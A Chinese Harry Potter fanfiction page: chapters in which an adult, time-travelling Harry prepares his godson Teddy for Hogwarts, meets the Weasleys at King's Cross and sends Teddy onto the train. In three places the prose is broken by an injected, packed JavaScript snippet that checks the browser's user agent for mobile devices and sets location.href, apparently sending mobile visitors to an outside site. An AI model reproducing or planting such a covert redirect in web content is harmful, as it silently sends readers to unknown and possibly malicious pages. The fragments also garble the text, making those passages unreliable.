“暂且不提他这怪异的能力,”斯内普双臂交叉,“这次的意外又怎么说?阿不思,我不相信你没看出什么。” “我也只是猜测。”邓布利多苦笑着说,“我想是跟灵魂的能量有关吧。”斯内普随即恍然,而哈利却有些迷惘,邓布利多倒是没往下解释,而是先问哈利,“你知道守护神是怎么产生的么?”哈利迟疑了一下,“快乐的回忆和一定的魔力基础?”邓布利多微笑,“正确,却也不然。否则它怎么能被称为高深的魔法呢,许多成年巫师都未必能施展出肉身的守护神,更别提食死徒。”他的神色忽然变得严肃起来,又提出一个问题,“若只需要快乐的回忆和魔力,为什么食死徒不能拥有守护神?” “呃……”哈利回答不上来,不过他偷偷往斯内普方向瞄了瞄,心里暗想,这里不就是有个拥有守护神的前食死徒么。 “因为他们的灵魂彻底堕落了。”斯内普在一旁懒懒地插嘴。 邓布利多颔首,“可以这么说,那么我们回到一开始的话题。每个人的灵魂都有着正面和负面的能量,唔,通俗点说来,就是光明和黑暗的能量,前者代表希望,后者则是绝望。这些能量一般是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156350|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处于分散的状况,多寡则与每人的本质有关。”见哈利露出若有所悟的表情,他接着说,“守护神的咒语就是为了聚集起灵魂中的正面能量,起到对抗外在的负面能量的目的,比如说,摄魂怪。而快乐的回忆只是能帮助施咒者更容易聚集正面能量而已。” “食死徒不能拥有守护神的原因是他们的灵魂失去了大部分的正面能量,因为某些我们都清楚的原因。” 说到这里,哈利“啊”了一声,神色一下子复杂起来。邓布利多注意到他的脸色变化,“我怀疑泰迪能够接触到别人的灵魂能量,通过肢体碰触的方式。正常情况下,像我们这种能召唤出守护神的人,他看到是具体化的正面能量,也就是守护神,否则就只是分散的能量,也就是泰迪说的淡淡的光晕。而——”他停顿了一下,“若是碰触到像食死徒那类人,今天的情况就是最好的例子。” 一时之间谁也没说话,空气死沉沉地压得人透不过气来。 “难道以后都会这样?”哈利艰难地开口,他不想以后还得为了这类不知何时会再次遇到的意外而提心吊胆下去,一次,就足够吓得他魂飞魄散了。“这算什么见鬼的能力!”他紧握的拳头暴出了青筋,狠狠地砸了一下自己的大腿。 “别担心,哈利。”邓布利多悠哉地喝了口茶,安慰道,“这并不见得是很糟糕的能力,相反,泰迪还可以利用它辨识一个人深处的灵魂。”他笑眯着眼看了看斯内普。 “然后每发现一个食死徒或黑巫师就昏迷一次?”哈利语气有点冲。 “不,”邓布利多否定道,“泰迪今天会昏倒,是因为他的灵魂处于完全没有被防护的状态,打个比方,就像把家门口大开着等食死徒闯进来一样。 “也就是说……”哈利的心里燃起了希望。 “只要他学会守护神咒,和对抗摄魂怪不同,即使是在不发动的状态下也能起到防护作用,阻止他接触到对方的负面能量。” 哈利顿时又蔫了,他知道守护神咒有多难学,这不是多练习就学得会的咒语。当年他要不是对着几百只的摄魂怪人品大爆发,大概也不可能那么早就施展得出最强大、具有肉身的守护神。 邓布利多似乎看出他的顾虑重重,“能施展出肉身的守护神的确是最理想的,不过对于11岁的孩子来说过于严苛了。”他温和地说,而这句话让哈利再次打起了精神,“只要学到能发出烟雾的屏障并维持一段时间的程度,我想若再碰到今天的情况,多少还是会有些不舒服,但不至于会昏倒。现在离开学还有一个月,时间方面勉强足够。”随后,他转向没有吭声的斯内普,“西弗勒斯,听说你有在指导泰迪制作魔药?我想你也许愿意顺便教他——” “我不要教他!” “我不要他教!” 几乎是异口同声,斯内普和哈利发出了抗议。两人又不约而同地瞪了彼此一眼,哼了一声又各自别过头去。 邓布利多对他们过激的反应愣了好一会儿,然后真诚地对哈利说,“哈利,西弗勒斯是个十分有经验的老师。” “那可不见得。”哈利低声嘀咕,但斯内普显然捕捉到了。他的神态带着股傲气,“我能假设你是在怀疑我的教学能力吗,波特。” “魔药我不管,别的我可不干!”哈利豁地站起身,“当年要不是你教我大脑封闭术教了一半就把我踢出去,我至于被伏——”他猛然止住话头,眼前两人瞪目结舌的神情让他意识到自己都做了什么蠢事。他颓然地把自己扔回沙发里,用手抚了把脸,“对不起,我……不大对劲。”哈利的声音显得很疲倦,“我听从您的安排,教授。” 邓布利多深深地看着他,“那好吧,西弗勒斯你……” “阿不思,我想我已经表达过自己的意愿了。”斯内普语气很冷淡。 “斯内普!”哈利抬头怒视他。 两人就这么剑拔弩张地对峙着。邓布利多叹了口气,刚想开口说话,却被斯内普打断了,“你为什么不直接让波特教他?他应该也能召唤守护神吧。 邓布利多眨眨眼,看上去有点滑稽,而哈利的表情也好不到哪儿去。“啊呀,我没想到这点。”他恍然大悟似的一拍脑袋,“请原谅,你得知道,我总是不自觉地把哈利当成学生一样地关爱。” 没错,也把他当成学生一样无能,亏你还聘他当黑魔法防御课老师?斯内普心里恨得牙痒痒。这假惺惺的老家伙绝对是故意的! “那么哈利,”多年的共处经验让邓布利多很轻易地就忽视了斯内普的怨气,“你的守护神是?” “鹿。一只牡鹿,先生。”哈利有点局促不安地回答。 “□□的?能随意施展?学得多久了?” “是的,十三岁时学会的。” 邓布利多的脸上很精彩,“很好,这我可没想到。我想交给你是完全没有问题的。对吧,西弗勒斯。”他笑嘻嘻地征求斯内普的意见,后者只是沉着脸从鼻孔里喷了口气。 “那么,教授,如果您不介意的话,我想去看看泰迪。”事情一旦解决,哈利便呆不住了,频频往泰迪睡觉的房间看去。 “当然。”邓布利多示意他自己随意,哈利迅速地消失在房门后。 少了一个人的空间似乎温度也下降了不少,邓布利多叹口气,神色中透着点无奈,“西弗勒斯,你为什么不肯教他?” 斯内普表情空洞地望着他,“我以为这是再明显不过的了,阿不思。我反而无法理解为什么你会想让我教他。” “我不过是个老眼昏花的老人,不是预言家或读心大师。” “阿不思!” 邓布利多静静地等待他的回答。 斯内普暗淡的眼光透出一种面对绝望的从容。 “我的灵魂距离黑暗太近,没资格教他那种正面的力量。” 13. 哈利的期待 “哈利——我们都在这里呆了快一个小时啦!”棕色卷发的孩童无奈的声音拖得长长的。 “哦,是吗?”年轻的男性心不在焉地回答。 “再不去站台我们就要赶不上火车的!” “哦,不会的。” “可我还不知道九又四分之三站台在哪里呢!这里只有九号和十号站台啊。”泰迪疑惑的目光在九号和十号站台之间来回扫视。 “哦,是吗?”哈利向远处张望,漫不经心地敷衍着。 “要是找不到九又四分之三站台该怎么办?” “哦,不会的。” “可那边的警卫先生老往我们这边看,他一定觉得我们很古怪。”泰迪悲哀地看着自己那塞得满满的大行李箱和与众不同的鸟笼。 “哦,是吗?”哈利随便瞧了一眼站在不远处频频向他们侧目的警卫,看来兴趣缺缺。 “你说他会不会过来把我们抓起来?” “哦,不会的。” “哈利,你知不知道从刚才起你就只会说‘哦,是吗’和‘哦,不会的’吗?” “哦,是吗?” 泰迪无语地叹了一声,好吧,对于从一大早起就处于莫名亢奋状态的教父,他实在是不能指望过多。 而哈利显然不是今天才开始莫名其妙的。 昨天一整天他都心情愉快地哼着小调,晚上不仅跑来跟泰迪挤一张床,半夜三更了还翻来覆去睡不着,结果第二天还能精神抖擞地大清早把睡得迷迷糊糊的泰迪从床上拖起来,一边赶他去厨房吃早餐,一边则手忙脚乱地把东西一股脑塞进他的大箱子里。在确定没漏掉东西后,便拉着哈欠连连的泰迪出门了,临走时泰迪瞄了一眼墙上的挂钟,早上7点,梅林。 问题是,当他们赶到人流如川的国王十字车站后,哈利反而不着急了,带着泰迪呆在距离九、十号站台不远的角落,悠闲地看着来来往往、亦或接送亲友亦或自己搭车的麻瓜们。 泰迪自然对他反常的行为大为不解——他从没看过这样的哈利。本来,在小孩子的心目中,自己“父亲”的形象总是高大且具有威严的。在小小泰迪的心里,哈利当然是扮演这一形象的最佳对象。可惜,放到大难不死的曾经的男孩这里,形象就是用来毁的。 可不,看他双眼闪着期盼的光芒,目光在来往的人群中流连,好像在寻找着什么,可下一秒表情又有些彷徨,似乎在犹豫,但片刻后又会傻傻地笑出声,仿佛想起世界上最美好的回忆。 短短几秒内神色变换得如此丰富,当然是让泰迪看呆了,他可不想要一个冒着傻气的教父。 只是,小小的疑问在泰迪心里徘徊,哈利到底是在找谁?或者说,等谁? 未等他问出口,哈利吹了个口哨,声音有些激动,“来了。” 泰迪心中还在奇怪“谁来了”,一个带些咋呼却不失温厚的中年女声飘进了他耳朵,“——当然挤满了麻瓜……” 朝那个声音的方向望去,说话的是一位矮矮胖胖的中年妇女,她左手牵着比泰迪还要小点儿的女孩,叨叨不休地对身旁的四个男孩说教着。五个孩子都有着显眼的特征——韦斯莱一家特有的火红头发。真是个惊喜,泰迪的脸在欢笑——当然大部分是他认识的,韦斯莱夫人、缩小版的金妮、罗恩、乔治,没碰过面的就只有珀西及长得和乔治一模一样的弗雷德了。 于是他恍然大悟,哈利的神秘兮兮之谜解开了——有点,让人脱力。 不过哈利可不知道自己的教子正私下里翻了个大大的白眼,现在的他心头像有个小人在跳着踢踏舞,怦怦直跳。说真的,他几乎按捺不住心头的波涛汹涌,可以的话,他很想不顾一切地冲上去拥抱他们每个人。来到这个时代不过才不到两个月,可他比任何时候都更想念和韦斯莱一家共处的时光。没人知道,把他当自家人的韦斯莱一家,还有陋居,在哈利不甚愉快的童年里对他而言是多大的救赎,足以让人贪恋不已,终生难忘。尤其是现在这一家,还是完整、快活的。少了一个“哈利·波特”,对他们来说不见得是件坏事——如果他们当初没有和大难不死的男孩牵扯那么深,是否现在依然完整如故?尽管韦斯莱夫人——这个可敬的女人及母亲——从来没有怪到他的头上,反而是把他当亲生儿子般的疼爱,哈利却无法停止自己的愧疚。 “那么,站台号码是什么?”远远传来韦斯莱夫人的问话。 “九又四分之三号!”金妮的声音尖而亮,“妈妈,我能去吗——” “你还太小了,金妮,现在给我安静一会儿。”韦斯莱夫人做了个手势,“珀西,你走最前头。” 哈利默默地看着这一幕,看着珀西推着车径直冲向两个站台间的检票口,消失了。 现在没有大难不死的男孩了,他也不再是韦斯莱家的第七个儿子,但是,他想要重新和这家人建立一份新的感情,而不是像对自己在这个时代的父母一样,即使心中渴望,也不得不避而远之。他深爱着他们,可以的话,这次他想成为这个家庭的后盾,他希望韦斯莱先生不会受伤,乔治不会失去一只耳朵,弗雷德不会死,韦斯莱夫人也不必为家人的安危忧心忡忡。不知道这会不会是个奢望? “弗雷德,轮到你了。”韦斯莱夫人回过头对双胞胎的一个说道。 “我是乔治,不是弗雷德。”红发男孩带着戏谑的笑容,临走时还不忘捉弄一把,“说实在的,你真是我们的母亲?连我是乔治都分不清?” 两个活宝在远处玩秀逗,泰迪轻轻拉了拉哈利的衣袖,“哈利。” “嗯?什么?”哈利的样子还有些恍惚。 “你不是想和韦斯莱夫人他们见面才从昨天兴奋到今天还在这里干等了一个小时的嘛。”泰迪没好气地说,“再不过去他们都要走光了!” 而这时弗雷德和乔治都已经消失在检票口的另一端。 “哦对,你说的没错。”哈利显得很紧张,但他没别的选择,“那我们走吧。”他推着泰迪的行李车,大步流星地走去。 “您好,夫人。”哈利彬彬有礼地向韦斯莱夫人搭话。可他的心在咚咚作响,保持冷静,哈利。 “您好。”韦斯莱夫人神情和蔼地打招呼,又望了望跟在哈利推着的手推车及跟在他身边的泰迪,了然地笑了,指着身后的瘦高男孩说,“也是第一次去霍格沃兹?我家罗恩也是。” 哈利憨憨地微笑,“我是来送我教子的,他第一次来难免有点紧张。” 好像比较紧张的是哈利你。泰迪感到丢脸地捂住自己的眼睛。 韦斯莱夫人倒是对哈利很有好感,她很能理解地点点头,“第一次都是这样,没什么可担心的,亲爱的。”后半句她是对泰迪说的,而泰迪则回以她腼腆一笑。 “那么,孩子们先走,我们压后?”韦斯莱夫人提议道,哈利做了个同意的手势,把手推车交回给泰迪,让他站到罗恩前面。“别害怕,笔直往前走就行了。怕撞到的话可以闭上眼睛。”他弯腰低声对泰迪说。泰迪点头表示他知道了,然后带着视死如归的神情往前冲去,检票口越来越近,要撞上了——但愿哈利的智商还与梅林同在——什么也没发生,他安全地到达九又四分之三站台。 一辆鲜红的蒸汽火车喷吐着浓烟,正停靠在人山人海的站台旁静待启程。车头正中的标志写着:霍格沃兹特快列车,十一点整发车。站台上人声嘈杂,猫儿们在人们脚边不安份地穿来穿去,猫头鹰的鸣叫响成一片。其混乱及热闹程度并不不亚于任何一个闹市。放眼望去,前几节车厢都已挤满了学生,他们或是探出头和亲人们交谈,或是在车厢内和同伴打闹。泰迪的心沸腾起来,很想走远点去看看,可他还是推着小车站到了一边。走开的话哈利会找不到他而迷路的,泰迪很肯定地想。 很快他就听到身后传来韦斯莱夫人富含同情的声音,“所以哈利你这么年轻就独自抚养教子?那必然很辛苦吧。” 显然熟识韦斯莱夫人习性的哈利已经成功让她直呼他教名。 哈利的声音却很轻快,“其实不会,泰迪很乖,而且四岁前他是和他祖母住的。” “你为什么不拜托你父母帮你照顾他呢?” “我家只剩我一人了。”哈利满不在乎地回答。 韦斯莱夫人在抽鼻子,“哦,可怜的孩子们。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156351|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这时哈利看到了向他招手的泰迪,匆匆和韦斯莱夫人打声招呼便领着泰迪去寻找空的车厢。 “作战成功了?”泰迪望着哈利的表情充满揶揄。 “什么作战?”哈利心情好得很,一路上都笑眯眯的。 “出卖我们的身世来博取韦斯莱夫人的同情心啊。”泰迪耸耸肩。 “拜托,别学斯内普那样说话。”哈利不客气地弹了弹他的脑门。 泰迪吐了吐舌头,嗤嗤笑了。 但这样的好心情没持续多久,当他们路过一个圆脸的男孩时,泰迪正好听到他说,“奶奶,我的蟾蜍又不见了。”随后便是老妇人的叹息声。哈利自然也是听到了,他的笑脸一下子褪得干干净净——为什么纳威的父母还是不在? 他们在拥挤的人流中艰难地前行,好不容易在车尾处找到一间空的车厢。哈利让泰迪拎着海德薇的笼子先上去,自己则哼哧哼哧地把行李箱拽上车,安置在车厢的一角。他抹了把汗,跳下火车,泰迪从车窗探出脑袋来。 “我得先赶去学校做些准备,你一个人没问题吧?”哈利说。 泰迪嘟着嘴摇摇头,似乎不满哈利老把他当小孩子。哈利讪笑着摸摸鼻子,招手示意他凑过来点,然后紧紧地搂住他。 “我在学校里没法关照你太多,自己要注意。” “好!” “别乱碰陌生人,守护神咒还得接着练。” “好。” “和罗恩赫敏他们好好相处,不过别暴露身份了。” “好……” “在学校得记得叫我教授。” “诶——?” “也得叫斯内普教授。” “哦——” 泰迪往车窗内缩缩头,不情不愿地应声道。“感觉真见外。” “你打算到处宣扬?”哈利挑起一边眉毛,“我倒是不要紧,问题是斯内普。如果你不想看到霍格沃兹满地的下巴,也不想看到魔药课变噩梦的话……”说到这儿,哈利不禁打了个寒噤。 泰迪哈哈大笑。 “对了,记得和海格打个招呼,下火车后他会来接你们的,坐船时小心别掉湖里了。”哈利笑嘻嘻地最后关照一句,转身就走,听到泰迪在背后愤怒地抗议,“我才不会掉进湖里!”哈利漾着笑意,还是自家小孩讨人喜欢,可惜最近说话方式有往斯内普靠近的趋势。斯内普第二?想想都可怕。他得想个办法。 哈利没花什么功夫就找到正带着金妮的韦斯莱夫人,金妮好奇地从母亲身后伸出半个头看着他。哈利冲她笑,小女孩害羞得立刻缩了回去。哈利看着这个满脸雀斑的女孩,心情既平静又复杂,金妮·韦斯莱,罗恩的妹妹,也是曾经和他交往过的女孩,虽然他们最后分手了——好像是在泰迪3岁的时候,哈利的印象有点模糊。记得是她先提出的分手,可原因是什么?哈利惊讶地发现自己居然绞尽脑汁也想不起来。 “不来我家喝杯下午茶吗,亲爱的?”韦斯莱夫人建议道。 (“妈妈,快点!火车快开了!”一个男孩在他们身后走过,不耐烦地叫道。) “虽然我很乐意,可惜我还有急事。”哈利面带歉意地对韦斯莱夫人说。 (“谁叫你昨天和你爸爸玩巫师象棋玩到半夜。”温柔的女声带着一丝不满,“也许就该让你赶不上火车,看你下次还敢不敢。”) “这没什么,亲爱的。也许你愿意暑假的时候带小泰迪来我家玩?”韦斯莱夫人热情地邀请他,她觉得自己越来越喜欢眼前这个有礼貌的年轻人了。 (“别怪哈利了,莉莉。”男孩的父亲夹在中间打圆场,“我第一次上学时也兴奋得半夜还在床上打滚呢。”) “当然,我很荣幸。”哈利笑着说,走上前和韦斯莱夫人作道别前的拥抱,并维持着笑脸目送她们离开。 “哈利,入学后别和马尔福家的小子混一起知道吗?”这回是小天狼星的声音。 “小天狼星,别给孩子灌输这种想法。” “我这是防范于未然,谁知道他家——” 哈利没再听下去,径直幻影移行消失在月台的空气中。 14. 泰迪的列车奇遇记 泰迪双手枕在下巴下,头搁在车窗窗台上看着哈利幻影移行,而韦斯莱夫人正在不远处叮嘱着自己的孩子们;又眯眼看着另一个哈利推着自己的行李推车向火车方向急急赶来,后面跟着他的父母及教父。不想被那个哈利发现,他往后缩回去,转头看向蹲在对面位置上、腮帮子一鼓一鼓的生物。 “好了,我该拿你怎么办呢?”泰迪歪着脑袋,自言自语道。 绿色的蟾蜍“咯咯”叫了两声。 泰迪几乎敢肯定这只蟾蜍就是刚刚那个圆脸男孩丢了的那只。问题是他该怎么还回去? 那只蟾蜍倒是完全不知泰迪的苦恼,伸脚一跳,直扑他怀里。“什么?”泰迪吓得几乎蹦起来,等他手忙脚乱捧着它,才发现鸟笼里的海德薇琥珀色的眼睛正虎视眈眈盯着眼前可口的美食。 “海德薇,你确定你要吃蟾蜍?”泰迪无奈地瞟了一眼在手里打滚的蟾蜍,空出一只手伸进笼子里梳理雪枭的羽毛,“这可是别人的宠物。”海德薇不满地凑上前啄他的手,把头别到一边去。 “好吧。”泰迪郁闷地摸摸被啄痛的地方,嘟囔着,“我看我最好去找找它主人。反正火车也还没开。” 他捉起那只正不停摆动四肢企图往别处逃的蟾蜍,在走道上毫无头绪地左右张望一番,最后决定采用最土的办法——一间间去问。 泰迪从小几乎没怎么和别的同龄孩子接触过,如今叫他去敲别人的车厢倒是有些怯场。他尝试着敲了敲他隔壁车厢的隔间门,再轻轻拉开一条缝——足够他把头探进去——里面坐着三个男孩,其中一个独自占了一排,带着贵族的优雅惬意地斜坐着,他的面色在铂金色头发的衬映下显得更为苍白。泰迪立马认出他正是被那个哈利称为“毒蛇”的男孩。他对面的那排座位挤着两个胖墩墩的男孩,和那个男孩相比毫无形象可言,正狼吞虎咽地消灭着空位子上堆成小山的零食。 他们三人同时转头看着泰迪这个不速之客。 泰迪讪讪地对他们笑笑,提起手中的蟾蜍给他们看,“我正在找这只蟾蜍的主人,应该是个脸圆圆的男孩,你们谁认识或见过他吗?” 那个面色苍白的男孩不感兴趣地瞄了眼他手中的蟾蜍,懒洋洋地开口,“我认得的人里可没有品味这么差的,蟾蜍早就过时了。”他转向那两个胖墩儿,“克拉布,高尔,你们有看到吗?” 克拉布和高尔一起摇头,克拉布似乎想说什么,可他嘴里塞满了零食,一张口就碎屑乱喷。面色苍白的男孩厌恶地往边上闪,用眼神狠狠剜了他一眼。克拉布顿时把嘴闭得紧紧的,连大块头也缩成了一团。 泰迪退了出去,心里嘀咕着朋友是这样的吗,敲开了对面的隔间。还没等他看清楚隔间里的情形,忽然倒抽一口气——车门口,有一只毛绒绒的、和他脸差不多大的袋蜘蛛从车顶垂丝倒吊下来。 一人一蛛,大眼瞪小眼。 “咦,我还以为是韦斯莱兄弟呢。”爽朗的声音响起,一个带着留着长发绺的黑皮肤男生走了出来,他抓起袋蜘蛛放进一个看起来不怎么牢固的布袋里,对泰迪露齿一笑,“你没事吧?不用怕,我把它装进去了。” “我第一次见到那么大的蜘蛛。”泰迪松了口气,神色间还有些惊惶,不怎么相信地盯着那个袋子。而可怜的小蟾蜍刚刚还想着逃跑,现在却紧紧抓着他的衣襟,躲在他怀里瑟瑟发抖。 “也就是说——” “——你本来就打算这么吓我们?” 两张一模一样的脸出现在泰迪的两侧,脸上带着顽皮的笑容,自然是红发的孪生兄弟了。 黑皮肤男生耸肩抱怨道,“你们会被吓到吗?” “怎么可能!”孪生兄弟异口同声说。 “从来只有我们吓别人的份——”一个说。 “还没见过别人吓到我们的——”另一个接上去。 “除非梅林再世变成木乃伊——”两人齐声合唱。 “得了吧,霍格沃兹都快被你们玩转了。”黑皮肤男生明显是看惯了双胞胎的双簧戏,不在意地挥挥手,注意到呆愣在一旁的泰迪,“嗨,忘了自我介绍,我是李·乔丹。这两个家伙是弗雷德·韦斯莱和乔治·韦斯莱。”他随手指指边上,也不管究竟哪个是哪个。“你来是有什么事吗?” “需要我们的帮忙?”弗雷德问。 “尽管开口别害怕——”乔治补充,朝他眨眨眼。“我们可不是袋蜘蛛。” 泰迪被逗得咯咯发笑,他又把同样的话说了一遍。可令他失望的是,三个人都摇头了。 于是,转战第三间的时候,泰迪心里已经打起了退堂鼓。站在外面都能听见里面传出阵阵银铃般悦耳的笑声——全是女孩子。他硬着头皮推开门,满车厢的女孩齐刷刷地看向他,泰迪觉得自己的脸大概和韦斯莱的红发一样红。 他支支吾吾地说明来意,满心希望有人认识那个男孩。女孩们饶有兴趣地看着那只紧紧黏着泰迪似乎把他当主人了的蟾蜍,可面面相觑后还是相继摇头表示无能为力。泰迪嘟哝着说声抱歉打扰,准备去下个车厢。这时一个靠窗坐的女孩站了起来,本来她坐在后面并不显眼。她有着一头浓密的棕色头发及一对大门牙,并已经换上了学校的新长袍。“你还打算去别的隔间找吗?”她问,语气相当高傲。 有的女孩露出奇怪的表情,似乎不怎么喜欢她这种态度,但泰迪却不同。他的心沸腾起来——是赫敏。“嗯。”他忙不迭地点头。 “那我陪你去找吧。”赫敏仰起下巴,盛气凌人地说。也不等泰迪回答,拉着他的手就往外走。泰迪乖乖地跟在她后头,脸上是止不住的笑意。现在的赫敏和泰迪印象中精明能干的赫敏阿姨有不少的差距,但并不妨碍他对她抱持着莫大的好感。只是—— 他眼睛不自觉地往赫敏的肚子瞅了瞅,心中郁闷,本来一直期待着的弟弟或妹妹就这么没了。 “什么?”赫敏注意到他的视线,转头问。“没……”泰迪慌慌张张地摇头,赶紧移开目光,像做坏事被捉住似的感到窘迫。赫敏挑挑眉,啪啪地敲响下一间车厢的隔间门,一把拉开,“你们有谁掉了一只蟾蜍吗?” 跟着赫敏的效率就是高。泰迪现在深有体会。他们风风火火、脚不沾地几乎问遍所有车厢,不过才十几分钟的功夫,满眼含泪的圆脸男孩就欣喜若狂地扑向他的蟾蜍,被捏得紧紧的蟾蜍咯咯大叫抗议着。“谢谢你们送莱福回来。”圆脸男孩抹了把眼泪,“我差点以为再也找不到它了,莱福是我叔父送我的礼物。” 和纳威告别后——他们已经互通了姓名——赫敏转头问,“你的车厢在哪里?”在找纳威的这段时间,列车早就出发并驶出伦敦,现在车窗外飞驰而过的是片片农田及悠闲的牛羊。“车尾最后一个。”泰迪回答。 “我去你那儿坐坐吧。”赫敏扬头,“我不大喜欢和那些女孩子呆一起。”泰迪欣然点头。 “你家人都是巫师?”她接着问,得到泰迪肯定答复后,又滔滔不绝地说下去,“我家没人会魔法,所以当我收到通知书时惊讶极了,可也特别高兴——据我所知这是间最优秀的魔法学校——虽然我爸妈到现在还吓得够呛。我把课本都背熟了,但愿入学后都够用。不过你们巫师家的孩子大概都学会不少魔法了吧?”她最后问了一句。 泰迪困惑地皱眉,说实话,除了跟斯内普学了点魔药,及哈利教他的守护神咒——当然那也是半吊子的——他好像还真的不会几个魔法。 “我只会一点守护神咒。”他觉得蛮不好意思的,“我教父没怎么教我魔法。” “守护神咒是什么魔法?”赫敏很感兴趣,“我敢肯定教科书上没提到过。” 接下来就是泰迪和赫敏解释守护神咒的用途,引得小女孩惊叹连连,“哇噢,这听上去是很高深的魔法!”她颇有些跃跃欲试,“以后你能教我吗? 泰迪搔搔脑袋,“可教父说我还差得远呢。我现在只能放出点银色烟雾,教父说我的魔力太少。” “这已经很厉害了,我敢说大部分的同龄人听都没听过这么高深的魔法。”赫敏满不在乎地说。 他们回到泰迪的车厢,拉开隔间门,出乎泰迪的意料,里面已经坐了两个人。 其中一个红发的男孩正对着腿上的灰老鼠举起他的魔杖,另一个黑发戴眼镜的男孩则怂恿他,“试试吧,肯定很好玩。” 泰迪和赫敏的突然到来把他们俩都吓得蹦起来,红发男孩停止了挥魔杖的动作,看上去有些不知所措。“泰迪本来就是坐在这间车厢的。”赫敏指指泰迪,又兴趣盎然地盯着红发男孩手中的魔杖,“你在施展魔法?让我们都开开眼界吧。”说着她坐到红发男孩的旁边。泰迪坐到另一边,冲黑发男孩笑笑。黑发男孩瞪大了双眼,“是你?” 红发男孩的咒语失败了——那只老鼠依然睡得香甜。“这真的是魔法咒语吗?”赫敏怀疑地问,“看上去不凑效不是么?我在家试过的几个小魔法都成功了,泰迪还会更高深的魔法呢。”她毫不留情地炮轰红发男孩,“顺带一提,我叫赫敏·格兰杰。都自我介绍一下吧。” “罗恩·韦斯莱。”罗恩不怎么高兴地咕哝说。 “哈利·波特。”黑发男孩说,泰迪觉得听到这个名字别扭极了。 “泰迪·卢平。”泰迪最后说。然后他注意到哈利古怪的神色,“怎么了?”他问。 “哦,没什么。”哈利含糊过去,“你上次怎么忽然就跑了?” “你们认识?”赫敏好奇地来回看他们两个。 “我看到我教父了。”泰迪微笑。“我们在霍金夫人的长袍店见过。”这句是回答赫敏的。 “那你的头发?”哈利问得有些迟疑。“好像不是这个颜色……” “这个?”泰迪扯扯自己的头发,“唔,我看看。”他闭眼想了想,头发变成罗恩红发的颜色,可马上又成了墨黑色。 “酷!”三个孩子目瞪口呆。“这是什么魔法?”赫敏兴奋得大叫。两个男孩也两眼发光地看着他。 “呃,这不是魔法,是天生的。”泰迪呵呵地笑,“我是个易容马格斯,我妈妈也是。 “不能通过学习成为易容马格斯?”赫敏还不死心。 “恐怕不能。”泰迪摊手。 三个孩子都显得很遗憾地长叹一声。 赫敏站了起来走出去,“我先回去了,你们快换上新长袍做好准备吧。”可三个男孩还是懒懒地坐在座位上不想动。 罗恩不爽地把自己的魔杖扔进旅行箱里,“就知道我哥哥是诓我的,咒语那么奇怪,他们准是等着看我笑话。”另两个男孩都同情地看着他。 “我上次好像还听到你叫‘哈利’?”哈利忽然转头问泰迪。 泰迪没什么表情变化,“我教父也叫哈利。”他耸耸肩,“这个名字没什么特别的吧?” 哈利将信将疑地点点头,起身去翻自己的旅行箱,“我家给我带了不少零食,大家一起吃吧。” 比比多味豆、巧克力蛙、甘草魔棒等一大堆的零食顿时堆满了空位子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156352|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗恩和泰迪没多作推辞——尽管罗恩嘟哝着说自己带了三明治,但三人很快就大快朵颐起来。 泰迪拆开一包巧克力蛙,取出里面附赠的卡片——白胡子的老人正闭目打盹。 “哦,是邓布利多教授。”泰迪说。 “你可别说你没听说过邓布利多。”罗恩心情恢复了不少。他捡起一粒粉红的豆子,轻轻咬了点,确定是草莓味,然后把它整个丢进嘴里。 “不,我认识他。”泰迪笑眯眯的,把卡片收起来。邓布利多的卡片他以前收集过不少,但其实他更怀念哈利、罗恩和赫敏的卡片——作为大战的英雄,他们的名气足以媲美以往任何一个有名的巫师了。 享受美食的同时,男孩们也开始天南地北地聊着各种话题。泰迪话不多,主要是最活泼的哈利主导,其次是罗恩不时附和。不管怎样,几个小时相处下来三人已经成了不错的朋友。分院和魁地奇自然是他们最热衷的话题。哈利和罗恩都明确表示如果分不进格兰芬多就没脸见家人,泰迪没表态。 暮色渐渐深沉,列车即将到达霍格沃兹,三个男孩都各自换上学校的黑长袍。罗恩拼命往下拉着身上的旧长袍,希望能遮住露出来的脚踝。 “斑斑不见了!”罗恩忽然惊叫。“我找到它了。”泰迪拨开满地的糖果,把它拾起来——突然一阵头晕目眩向他袭来,他不稳地打了个趔趄,提着老鼠尾巴的手松开了,灰色的老鼠“吱吱”叫着被摔到地上。 “泰迪?”在他身后的哈利扶住他,和罗恩对视一眼,两人都不知所措。 “我没事。”泰迪抚着胸口,微微喘气,“罗恩,这只老鼠……” “斑斑怎么了?”罗恩捡起摔得晕乎乎的斑斑,莫名其妙地看着泰迪。 可那只是一只老鼠吗? 泰迪皱紧眉头。“没什么,我想我只是晕车了。”最后他轻描淡写地结束了对话。 列车终于靠站,他们随着人流朝前头涌去,和大多数新生一样,三人都紧张得脸色发白。 